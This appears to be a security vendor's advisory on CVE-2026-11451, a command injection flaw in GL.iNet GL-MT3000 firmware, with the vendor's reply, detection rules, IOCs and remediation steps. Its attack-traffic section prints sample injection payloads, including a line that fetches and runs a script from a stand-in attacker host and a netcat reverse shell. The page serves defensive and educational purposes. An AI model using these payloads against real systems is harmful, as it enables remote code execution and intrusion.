How severe is CVE-2026-11451?

CVE-2026-11451 has a CVSS base score of 7.3 out of 10, classified as HIGH. Organizations using affected software should prioritize remediation.

How do I check if CVE-2026-11451 affects my systems?

Review the CPE match data in the NVD entry for CVE-2026-11451 against your software inventory. Run a vulnerability scan targeting the affected component, check your asset management system for matching product versions and review vendor advisories for patch availability. If you lack internal scanning capability, an external vulnerability assessment can identify exposure.

CVE-2026-11451: A flaw has been Command injection

TL;DR: This is a command injection vulnerability (CVSS 7.3 HIGH). Authentication: Required (authenticated). Patch immediately.

What This Vulnerability Is

A flaw has been found in GL.iNet GL-MT3000 4.4.5. This impacts the function snprintf of the file /cgi-bin/glc of the component FTP Protocol Handler. Executing a manipulation of the argument media_dir can lead to command injection. It is possible to launch the attack remotely. Upgrading to version 4.8.1 will fix this issue. You should upgrade the affected component. The vendor explains: "In version 4.8.1, before writing media_dir to the FTP configuration command, the code escapes single quotes using escape_single_quote(). The payloads in the report-which rely on closing a single quote, appending commands with a semicolon and commenting out the tail with #-cannot escape execution under the current code path. We also verified this on a GL‑MT3000 device running firmware version 4.8.1 using similar payloads calling the /NAS_API_SET_PROTO_CONFIG interface. Although the interface returned success, the marker file intended to prove command execution was not created; the payload was written into /etc/vsftpd.conf only as ordinary configuration content and did not trigger any shell command execution. Therefore, with the current firmware version and default runtime environment, we could not reproduce the claimed “unauthorized command injection in set_proto_config”."

The National Vulnerability Database assigned this issue a CVSS base score of 7.3, placing it in the HIGH category. The identifier CVE-2026-11451 was published on 2026-06-07T04:16:29.570.

CVE Identifier: CVE-2026-11451
CVSS Base Score: 7.3 / 10.0 (HIGH)
Published: 2026-06-07T04:16:29.570
NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-11451
MITRE Entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-11451

Who Is Affected

Based on the vulnerability data published by NVD, the following products and configurations are identified as affected:

Specific affected products are listed in the NVD entry. Review the CPE data for your stack.

If your organization uses any of the above, this vulnerability applies to your environment. Even if your specific version is not listed, review the full CPE match data to confirm.

What Attack Traffic Looks Like

The following patterns are illustrative and sanitized. They demonstrate the vulnerability class (CWE-78 OS Command Injection) for defensive purposes. This is NOT a working exploit.

Attackers inject shell metacharacters into HTTP parameters that flow into OS commands. Look for these patterns in any user-controllable input:

value;id > /tmp/proof
value && curl -s http://attacker/x.sh | sh
value | nc attacker 4444 -e /bin/sh
value`id`
value$(id)
value%0aid

URL-encoded equivalents on the wire: %3B, %7C, %26%26, %24%28, %60

How to Detect It

Sigma Rule

title: Shell Metacharacters in HTTP Parameters
id: auto-cwe78-detection
status: experimental
description: Detects shell metacharacters in HTTP request parameters indicative of OS command injection attempts.
logsource:
  category: webserver
detection:
  selection:
    cs-uri-query|re: '(%3B|%7C|%26%26|%60|%24%28|%0a|;|\||&&|`|\$\()'
  condition: selection
level: high

Detection Regex for Log Review

(?i)[?&=]([^&]*?)(%3b|%7c|%26%26|%60|%24%28|%0a|[;|`]|\$\()

Process Anomaly Detection

The web application process should never spawn shell commands from HTTP requests. Monitor for:

Web server process spawning curl, wget, nc, bash -c, sh -c, python -c
New outbound connections from the application server to non-standard destinations
New files created in /tmp, /var/tmp by the web server user

IOC Hunt List

Outbound HTTP/HTTPS from application server to unknown destinations
New files in temporary directories not owned by expected service accounts
Unexpected SSH keys in authorized_keys files
New local OS accounts or privilege changes
Audit trail gaps or log rotation outside normal schedules

What to Do About It

Here is what we recommend, in order of priority:

Check your exposure. Determine whether the affected software or component is present in your environment. Asset inventories and software composition analysis (SCA) tools are the fastest route.
Apply the patch. If a vendor patch or updated version is available, apply it. Check the references below for vendor advisories.
Mitigate if patching is not immediate. If you cannot patch right now, evaluate whether network segmentation, access control changes or configuration adjustments reduce the attack surface for this specific vulnerability.
Monitor for exploitation. Check whether proof-of-concept exploit code exists. The CISA Known Exploited Vulnerabilities catalog tracks actively exploited CVEs.
Document your response. Record what you checked, when you patched and what residual risk remains. This matters for compliance and for incident response if this vulnerability is exploited later.

Triage Quick Start

Run as administrator. Collect artifacts before applying patches or making changes:

# Linux/Unix systems
tar czf /tmp/triage-$(hostname)-$(date +%s).tgz \
  /var/log/syslog /var/log/auth.log /var/log/messages \
  /var/log/secure /var/log/apache2/ /var/log/nginx/ \
  /etc/passwd /etc/shadow \
  /root/.bash_history \
  /home/*/.bash_history \
  /tmp/ /var/tmp/ 2>/dev/null

# Windows systems (PowerShell)
# Compress-Archive -Path C:\Windows\System32\winevt\Logs\*,C:\inetpub\logs\* -DestinationPath C:\triage.zip

If you need help analyzing these artifacts, call Sherlock Forensics at 604.229.1994.

Why This Matters for Companies Without Security Teams

A CVSS score of 7.3 means this vulnerability is straightforward to exploit, likely to cause significant damage or both. For startups and small companies operating without a dedicated security team, vulnerabilities at this severity level represent real operational risk rather than theoretical concern.

The challenge is not awareness. Vulnerability databases are public. The challenge is triage: understanding whether a given CVE affects your specific stack and knowing what to do about it before an attacker does. If you lack the internal capacity to perform that assessment, an external review of your exposure is a concrete next step.

Sherlock Forensics provides vulnerability assessment and penetration testing for organizations that need to understand their attack surface without building a full internal security function.